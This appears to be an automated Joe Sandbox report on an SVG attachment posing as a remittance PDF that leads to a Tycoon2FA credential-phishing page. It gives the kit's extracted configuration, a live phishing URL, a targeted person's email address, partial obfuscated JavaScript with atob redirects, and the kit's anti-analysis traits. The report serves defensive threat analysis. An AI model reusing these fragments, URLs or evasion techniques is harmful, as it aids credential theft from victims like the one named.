Edit tour

Windows Analysis Report
View Remittance_18032025.PDF J8TLBF6.9 KB for R.bik.svg

Overview

General Information

Sample name:	View Remittance_18032025.PDF J8TLBF6.9 KB for R.bik.svg
Analysis ID:	1643119
MD5:	6fdd676b1b9642058c79010d5c2efbb7
SHA1:	779b0830a35853cc5705b30b6e9036a2d921cabe
SHA256:	83ae99e5df93510b9845da9b317e3bab1ad04e1be32103a360c5eaa2cfb7837f
Infos:

Detection

HTMLPhisher, Invisible JS, Tycoon2FA

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

AI detected phishing page

Found malware configuration

Yara detected AntiDebug via timestamp check

Yara detected HtmlPhish10

Yara detected Invisible JS

Yara detected Obfuscation Via HangulCharacter

Yara detected Tycoon 2FA PaaS

AI detected suspicious Javascript

HTML page contains suspicious javascript code

Yara detected JavaScript embedded in SVG

Creates files inside the system directory

Deletes files inside the Windows folder

HTML body contains low number of good links

HTML body contains password input but no form action

HTML page contains hidden javascript code

HTML title does not match URL

IP address seen in connection with other malware

Invalid T&C link found

Uses Javascript AES encryption / decryption (likely to hide suspicious Javascript code)

Classification

Process Tree

System is w10x64

chrome.exe (PID: 8688 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 9044 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1976,i,12764826160044487422,18028934934294527856,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2040 /prefetch:3 MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 1672 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=printing.mojom.UnsandboxedPrintBackendHost --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1976,i,12764826160044487422,18028934934294527856,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=5036 /prefetch:8 MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 7840 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "C:\Users\user\Desktop\View Remittance_18032025.PDF J8TLBF6.9 KB for R.bik.svg" MD5: E81F54E6C1129887AEA47E7D092680BF)

cleanup

Malware Configuration

Threatname: Tycoon2FA

{
  "websitenames": "[\"godaddy\", \"okta\"]",
  "bes": "[\"Apple.com\",\"Netflix.com\"]",
  "pes": "[\"https:\\/\\/t.me\\/\",\"https:\\/\\/t.com\\/\",\"t.me\\/\",\"https:\\/\\/t.me.com\\/\",\"t.me.com\\/\",\"t.me@\",\"https:\\/\\/t.me@\",\"https:\\/\\/t.me\",\"https:\\/\\/t.com\",\"t.me\",\"https:\\/\\/t.me.com\",\"t.me.com\",\"t.me\\/@\",\"https:\\/\\/t.me\\/@\",\"https:\\/\\/t.me@\\/\",\"t.me@\\/\",\"https:\\/\\/www.telegram.me\\/\",\"https:\\/\\/www.telegram.me\"]",
  "capnum": "1",
  "appnum": "1",
  "pvn": "0",
  "view": "",
  "pagelinkval": "zNyaAw",
  "emailcheck": "r.bik@geometius.nl",
  "webname": "rtrim(/web8/, '/')",
  "urlo": "/rvvLEm7bQ37PJEZMmOit9MBsiKrZNQgbp7eRlKbjRmlRoxiEijt3XLoa1UOgz"
}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
View Remittance_18032025.PDF J8TLBF6.9 KB for R.bik.svg	JoeSecurity_JavaScriptembeddedinSVG	Yara detected JavaScript embedded in SVG	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
dropped/chromecache_133	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security

HTML

Source	Rule	Description	Author
1.8..script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.10.d.script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.4.d.script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.4.d.script.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
2.13..script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
2.13..script.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
1.3.d.script.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
1.3.d.script.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
2.18.d.script.csv	JoeSecurity_Tycoon2FA	Yara detected Tycoon 2FA PaaS	Joe Security
2.14..script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
2.14..script.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
2.19..script.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
1.1.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.1.pages.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
1.1.pages.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
1.0.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
2.4.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
2.4.pages.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
2.4.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
2.5.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
2.3.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
2.6.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.0.pages.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
2.5.pages.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
1.0.pages.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
2.6.pages.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
2.3.pages.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
2.6.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
2.5.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
2.3.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
Click to see the 25 entries

Joe Sandbox Signatures

• AV Detection
• Phishing
• Compliance
• Networking
• System Summary
• Malware Analysis System Evasion

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 2.18.d.script.csv

Malware Configuration Extractor: Tycoon2FA {"websitenames": "[\"godaddy\", \"okta\"]", "bes": "[\"Apple.com\",\"Netflix.com\"]", "pes": "[\"https:\\/\\/t.me\\/\",\"https:\\/\\/t.com\\/\",\"t.me\\/\",\"https:\\/\\/t.me.com\\/\",\"t.me.com\\/\",\"t.me@\",\"https:\\/\\/t.me@\",\"https:\\/\\/t.me\",\"https:\\/\\/t.com\",\"t.me\",\"https:\\/\\/t.me.com\",\"t.me.com\",\"t.me\\/@\",\"https:\\/\\/t.me\\/@\",\"https:\\/\\/t.me@\\/\",\"t.me@\\/\",\"https:\\/\\/www.telegram.me\\/\",\"https:\\/\\/www.telegram.me\"]", "capnum": "1", "appnum": "1", "pvn": "0", "view": "", "pagelinkval": "zNyaAw", "emailcheck": "r.bik@geometius.nl", "webname": "rtrim(/web8/, '/')", "urlo": "/rvvLEm7bQ37PJEZMmOit9MBsiKrZNQgbp7eRlKbjRmlRoxiEijt3XLoa1UOgz"}

Phishing

AI detected phishing page

Source: https://behy.jsrjesdc.ru/YYZUHWZIKRXNONJCBPEIFCNLBHNGLCD14YBMPOV50YGSRHWZM0G11WVVZEU5?IQBDADXSZODGOMKGQXCDQWKUHP	Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is a well-known global technology company., The legitimate domain for Microsoft is 'microsoft.com'., The provided URL 'behy.jsrjesdc.ru' does not match the legitimate domain for Microsoft., The URL uses a '.ru' domain extension, which is not typically associated with Microsoft., The URL contains random characters and does not resemble any known Microsoft subdomain or service., The presence of a password input field for a Microsoft account on an unrecognized domain is suspicious. DOM: 2.5.pages.csv
Source: https://behy.jsrjesdc.ru/YYZUHWZIKRXNONJCBPEIFCNLBHNGLCD14YBMPOV50YGSRHWZM0G11WVVZEU5?IQBDADXSZODGOMKGQXCDQWKUHP	Joe Sandbox AI: Score: 7 Reasons: The URL 'behy.jsrjesdc.ru' does not match the legitimate domain for Geometius, which is likely 'geometius.com'., The domain uses a '.ru' extension, which is unusual for a brand like Geometius unless it specifically targets the Russian market., The URL contains random characters and does not resemble any known Geometius-related domain., The presence of a password input field on a suspicious domain increases the likelihood of phishing., Geometius is not a widely recognized brand, making it harder to verify the legitimacy of the URL based on brand recognition alone. DOM: 2.4.pages.csv

Yara detected HtmlPhish10

Source: Yara match	File source: 2.4.pages.csv, type: HTML
Source: Yara match	File source: 2.6.pages.csv, type: HTML
Source: Yara match	File source: 2.5.pages.csv, type: HTML
Source: Yara match	File source: 2.3.pages.csv, type: HTML

Yara detected Invisible JS

Source: Yara match	File source: 1.3.d.script.csv, type: HTML
Source: Yara match	File source: 1.1.pages.csv, type: HTML
Source: Yara match	File source: 1.0.pages.csv, type: HTML

Yara detected Obfuscation Via HangulCharacter

Source: Yara match	File source: 1.3.d.script.csv, type: HTML
Source: Yara match	File source: 2.19..script.csv, type: HTML
Source: Yara match	File source: 1.1.pages.csv, type: HTML
Source: Yara match	File source: 1.0.pages.csv, type: HTML
Source: Yara match	File source: dropped/chromecache_133, type: DROPPED

Yara detected Tycoon 2FA PaaS

Source: Yara match	File source: 2.18.d.script.csv, type: HTML
Source: Yara match	File source: 1.8..script.csv, type: HTML
Source: Yara match	File source: 1.10.d.script.csv, type: HTML
Source: Yara match	File source: 1.4.d.script.csv, type: HTML
Source: Yara match	File source: 2.13..script.csv, type: HTML
Source: Yara match	File source: 2.14..script.csv, type: HTML
Source: Yara match	File source: 1.1.pages.csv, type: HTML
Source: Yara match	File source: 1.0.pages.csv, type: HTML
Source: Yara match	File source: 2.4.pages.csv, type: HTML
Source: Yara match	File source: 2.5.pages.csv, type: HTML
Source: Yara match	File source: 2.3.pages.csv, type: HTML
Source: Yara match	File source: 2.6.pages.csv, type: HTML

AI detected suspicious Javascript

Source: 1.4.d.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: anonymous function... This script demonstrates several high-risk behaviors, including detecting browser automation tools, disabling keyboard shortcuts, preventing right-click context menus, and using a debugger trap to redirect the user to an unrelated website. These behaviors indicate a highly suspicious and potentially malicious script that should be treated with caution.
Source: 0.0..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: file:///C:/Users/user/Desktop/View%20Remittance_... This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and the use of obfuscated code and URLs. The script appears to be performing malicious activities, such as collecting user data and executing remote code. The combination of these behaviors indicates a high risk of potential harm to users.
Source: 0.1.d.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: anonymous function... This script exhibits high-risk behavior by using obfuscated code to redirect the user to an unknown domain, which is likely a phishing or malicious site. The use of the 'atob' function to decode a base64-encoded URL is a common technique used by malicious scripts to hide their true intent. Additionally, the script appears to be using a dynamically generated variable 'TBvmmurZgfzgzN', which further increases the suspicion of malicious activity. Overall, this script demonstrates clear signs of malicious intent and poses a high risk to the user's security.
Source: 1.2..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://behy.jsrjesdc.ru/7PIWi2mf/... This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code/URLs. The use of `atob()` to decode base64-encoded strings, followed by `eval()` to execute the decoded content, poses a significant security risk. Additionally, the script appears to be sending user data to an untrusted domain, which is a clear indicator of malicious intent. Overall, this script exhibits a high level of suspicion and should be treated as a potential security threat.
Source: 1.10.d.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: anonymous function... This script demonstrates several high-risk behaviors, including detecting the presence of web automation tools, disabling common keyboard shortcuts and right-click functionality, and implementing a mechanism to detect and redirect the user to an external website (Google.com) upon detecting a debugger being attached. These behaviors are highly suspicious and indicative of malicious intent, likely attempting to evade detection and analysis. The script poses a significant risk to the user's security and privacy.
Source: 1.3.d.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: anonymous function... This script demonstrates several high-risk behaviors, including dynamic code execution via `eval()`, potential data exfiltration, and the use of obfuscated code. The combination of these factors indicates a high likelihood of malicious intent, warranting a maximum risk score of 10.
Source: 1.11..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://behy.jsrjesdc.ru/7PIWi2mf/... This script demonstrates several high-risk behaviors, including dynamic code execution, potential data exfiltration, and suspicious redirection. The use of obfuscated code, the presence of a debugger, and the attempt to redirect the user to an external domain are all strong indicators of malicious intent. Overall, this script poses a significant security risk and should be treated with caution.

HTML page contains suspicious javascript code

Source: anonymous function

HTTP Parser: window.location.href = atob(

Yara detected JavaScript embedded in SVG

Source: Yara match

File source: View Remittance_18032025.PDF J8TLBF6.9 KB for R.bik.svg, type: SAMPLE

Source: https://behy.jsrjesdc.ru/YYZUHWZIKRXNONJCBPEIFCNLBHNGLCD14YBMPOV50YGSRHWZM0G11WVVZEU5?IQBDADXSZODGOMKGQXCDQWKUHP

HTTP Parser: Number of links: 0

Source: https://behy.jsrjesdc.ru/YYZUHWZIKRXNONJCBPEIFCNLBHNGLCD14YBMPOV50YGSRHWZM0G11WVVZEU5?IQBDADXSZODGOMKGQXCDQWKUHP

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: https://behy.jsrjesdc.ru/7PIWi2mf/#Fr.bik@geometius.nl

HTTP Parser: Base64 decoded: <!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Portfolio & Agency - Modern Design</title> <link href="https://fonts.googleapis.com/css2?family=Montserrat...

Source: https://behy.jsrjesdc.ru/YYZUHWZIKRXNONJCBPEIFCNLBHNGLCD14YBMPOV50YGSRHWZM0G11WVVZEU5?IQBDADXSZODGOMKGQXCDQWKUHP

HTTP Parser: Title: does not match URL

Source: https://behy.jsrjesdc.ru/YYZUHWZIKRXNONJCBPEIFCNLBHNGLCD14YBMPOV50YGSRHWZM0G11WVVZEU5?IQBDADXSZODGOMKGQXCDQWKUHP	HTTP Parser: Invalid link: Terms of use
Source: https://behy.jsrjesdc.ru/YYZUHWZIKRXNONJCBPEIFCNLBHNGLCD14YBMPOV50YGSRHWZM0G11WVVZEU5?IQBDADXSZODGOMKGQXCDQWKUHP	HTTP Parser: Invalid link: Privacy & cookies
Source: https://behy.jsrjesdc.ru/YYZUHWZIKRXNONJCBPEIFCNLBHNGLCD14YBMPOV50YGSRHWZM0G11WVVZEU5?IQBDADXSZODGOMKGQXCDQWKUHP	HTTP Parser: Invalid link: Terms of use
Source: https://behy.jsrjesdc.ru/YYZUHWZIKRXNONJCBPEIFCNLBHNGLCD14YBMPOV50YGSRHWZM0G11WVVZEU5?IQBDADXSZODGOMKGQXCDQWKUHP	HTTP Parser: Invalid link: Privacy & cookies
Source: https://behy.jsrjesdc.ru/YYZUHWZIKRXNONJCBPEIFCNLBHNGLCD14YBMPOV50YGSRHWZM0G11WVVZEU5?IQBDADXSZODGOMKGQXCDQWKUHP	HTTP Parser: Invalid link: Terms of use
Source: https://behy.jsrjesdc.ru/YYZUHWZIKRXNONJCBPEIFCNLBHNGLCD14YBMPOV50YGSRHWZM0G11WVVZEU5?IQBDADXSZODGOMKGQXCDQWKUHP	HTTP Parser: Invalid link: Privacy & cookies
Source: https://behy.jsrjesdc.ru/YYZUHWZIKRXNONJCBPEIFCNLBHNGLCD14YBMPOV50YGSRHWZM0G11WVVZEU5?IQBDADXSZODGOMKGQXCDQWKUHP	HTTP Parser: Invalid link: Terms of use
Source: https://behy.jsrjesdc.ru/YYZUHWZIKRXNONJCBPEIFCNLBHNGLCD14YBMPOV50YGSRHWZM0G11WVVZEU5?IQBDADXSZODGOMKGQXCDQWKUHP	HTTP Parser: Invalid link: Privacy & cookies

Source: anonymous function	HTTP Parser: var otherweburl = "";var websitenames = ["godaddy", "okta"];var bes = ["apple.com","netflix.com"];var pes = ["https:\/\/t.me\/","https:\/\/t.com\/","t.me\/","https:\/\/t.me.com\/","t.me.com\/","t.me@","https:\/\/t.me@","https:\/\/t.me","https:\/\/t.com","t.me","https:\/\/t.me.com","t.me.com","t.me\/@","https:\/\/t.me\/@","https:\/\/t.me@\/","t.me@\/","https:\/\/www.telegram.me\/","https:\/\/www.telegram.me"];var capnum = 1;var appnum = 1;var pvn = 0;var view = "";var pagelinkval = "znyaaw";var emailcheck = "r.bik@geometius.nl";var webname = "rtrim(/web8/, '/')";var urlo = "/rvvlem7bq37pjezmmoit9mbsikrznqgbp7erlkbjrmlroxieijt3xloa1uogz";var gdf = "/ghcrdbpzjsh0rfpt8jdwowrkdyzuj7624t7dtllcd120";var odf = "/ghoh7kf02opteegk6qvgoyzsxscauprjtrhgkab650";var twa = 0;var currentreq = null;var requestsent = false;var pagedata = "";var redirecturl = "";var useragent = navigator.useragent;var browsername;var userip;var usercountry;var errorcodeexecuted = false;if(userage...
Source: https://behy.jsrjesdc.ru/7PIWi2mf/	HTTP Parser: function krecmjijwd(){guwpdzmszy = atob("pcfet0nuwvbfigh0bww+cjxodg1sigxhbmc9imvuij4kpghlywq+ciagpg1ldgegy2hhcnnldd0ivvrgltgipgogidxtzxrhig5hbwu9inzpzxdwb3j0iibjb250zw50psj3awr0ad1kzxzpy2utd2lkdggsigluaxrpywwtc2nhbgu9ms4wij4kica8dgl0bgu+ug9ydgzvbglvicygqwdlbmn5ic0gtw9kzxjuierlc2lnbjwvdgl0bgu+ciagpgxpbmsgahjlzj0iahr0chm6ly9mb250cy5nb29nbgvhcglzlmnvbs9jc3myp2zhbwlset1nb250c2vycmf0ondnahrandawozcwmczmyw1pbhk9um9ib3rvondnahramzawozqwmds1mdamzglzcgxhet1zd2fwiibyzww9inn0ewxlc2hlzxqipgogidxzdhlszt4kicagic8qiedlbmvyywwgu3r5bgvzicovciagicbib2r5ihskicagicagzm9udc1myw1pbhk6icdsb2jvdg8nlcbzyw5zlxnlcmlmowogicagicbtyxjnaw46ida7ciagicagihbhzgrpbmc6ida7ciagicagignvbg9yoiajmzmzowogicagicbsaw5llwhlawdoddogms42owogicagicbiywnrz3jvdw5klwnvbg9yoiajzjrmngy5owogicagfqokicagiggxlcbomiwgadmgewogicagicbmb250lwzhbwlsetogj01vbnrzzxjyyxqnlcbzyw5zlxnlcmlmowogicagicbjb2xvcjogizjjm2u1mdskicagih0kciagicbhihskicagicagy29sb3i6icmzndk4zgi7ciagicagihrlehqtzgvjb3jhdglvbjogbm9uztskicagih0kciagicbhomhvdmvyihskicagicagdgv4dc1kzwnvcmf0aw9uoib1bmrlc...

Source: https://behy.jsrjesdc.ru/YYZUHWZIKRXNONJCBPEIFCNLBHNGLCD14YBMPOV50YGSRHWZM0G11WVVZEU5?IQBDADXSZODGOMKGQXCDQWKUHP

HTTP Parser: <input type="password" .../> found

Source: https://behy.jsrjesdc.ru/YYZUHWZIKRXNONJCBPEIFCNLBHNGLCD14YBMPOV50YGSRHWZM0G11WVVZEU5?IQBDADXSZODGOMKGQXCDQWKUHP	HTTP Parser: No favicon
Source: https://behy.jsrjesdc.ru/YYZUHWZIKRXNONJCBPEIFCNLBHNGLCD14YBMPOV50YGSRHWZM0G11WVVZEU5?IQBDADXSZODGOMKGQXCDQWKUHP	HTTP Parser: No favicon
Source: https://behy.jsrjesdc.ru/YYZUHWZIKRXNONJCBPEIFCNLBHNGLCD14YBMPOV50YGSRHWZM0G11WVVZEU5?IQBDADXSZODGOMKGQXCDQWKUHP	HTTP Parser: No favicon
Source: https://behy.jsrjesdc.ru/YYZUHWZIKRXNONJCBPEIFCNLBHNGLCD14YBMPOV50YGSRHWZM0G11WVVZEU5?IQBDADXSZODGOMKGQXCDQWKUHP	HTTP Parser: No favicon

Source: https://behy.jsrjesdc.ru/YYZUHWZIKRXNONJCBPEIFCNLBHNGLCD14YBMPOV50YGSRHWZM0G11WVVZEU5?IQBDADXSZODGOMKGQXCDQWKUHP	HTTP Parser: No <meta name="author".. found
Source: https://behy.jsrjesdc.ru/YYZUHWZIKRXNONJCBPEIFCNLBHNGLCD14YBMPOV50YGSRHWZM0G11WVVZEU5?IQBDADXSZODGOMKGQXCDQWKUHP	HTTP Parser: No <meta name="author".. found
Source: https://behy.jsrjesdc.ru/YYZUHWZIKRXNONJCBPEIFCNLBHNGLCD14YBMPOV50YGSRHWZM0G11WVVZEU5?IQBDADXSZODGOMKGQXCDQWKUHP	HTTP Parser: No <meta name="author".. found
Source: https://behy.jsrjesdc.ru/YYZUHWZIKRXNONJCBPEIFCNLBHNGLCD14YBMPOV50YGSRHWZM0G11WVVZEU5?IQBDADXSZODGOMKGQXCDQWKUHP	HTTP Parser: No <meta name="author".. found

Source: https://behy.jsrjesdc.ru/YYZUHWZIKRXNONJCBPEIFCNLBHNGLCD14YBMPOV50YGSRHWZM0G11WVVZEU5?IQBDADXSZODGOMKGQXCDQWKUHP	HTTP Parser: No <meta name="copyright".. found
Source: https://behy.jsrjesdc.ru/YYZUHWZIKRXNONJCBPEIFCNLBHNGLCD14YBMPOV50YGSRHWZM0G11WVVZEU5?IQBDADXSZODGOMKGQXCDQWKUHP	HTTP Parser: No <meta name="copyright".. found
Source: https://behy.jsrjesdc.ru/YYZUHWZIKRXNONJCBPEIFCNLBHNGLCD14YBMPOV50YGSRHWZM0G11WVVZEU5?IQBDADXSZODGOMKGQXCDQWKUHP	HTTP Parser: No <meta name="copyright".. found
Source: https://behy.jsrjesdc.ru/YYZUHWZIKRXNONJCBPEIFCNLBHNGLCD14YBMPOV50YGSRHWZM0G11WVVZEU5?IQBDADXSZODGOMKGQXCDQWKUHP	HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 142.250.185.196:443 -> 192.168.2.5:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.2.137:443 -> 192.168.2.5:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.24.14:443 -> 192.168.2.5:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.95.41:443 -> 192.168.2.5:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.3.189:443 -> 192.168.2.5:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.5.189:443 -> 192.168.2.5:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.5:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.5:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49756 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.5:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.33.187.96:443 -> 192.168.2.5:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.33.187.96:443 -> 192.168.2.5:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.33.187.96:443 -> 192.168.2.5:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.5:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.33.187.14:443 -> 192.168.2.5:49769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.70.233:443 -> 192.168.2.5:49800 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.0.100:443 -> 192.168.2.5:49801 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49802 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.5:49804 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.5:49818 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.5:49819 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.5:49821 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.5:49822 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.5:49828 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.5:49829 version: TLS 1.2

Source: Joe Sandbox View	IP Address: 13.33.187.14 13.33.187.14
Source: Joe Sandbox View	IP Address: 104.16.5.189 104.16.5.189
Source: Joe Sandbox View	IP Address: 185.199.109.133 185.199.109.133
Source: Joe Sandbox View	IP Address: 185.199.109.133 185.199.109.133

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.14
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.186.163
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.186.163
Source: unknown	TCP traffic detected without corresponding DNS query: 184.86.251.6
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.77.188
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.77.188
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.129
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.129
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.129
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.129
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.77.188
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.129
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.129
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.129
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.31.129
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
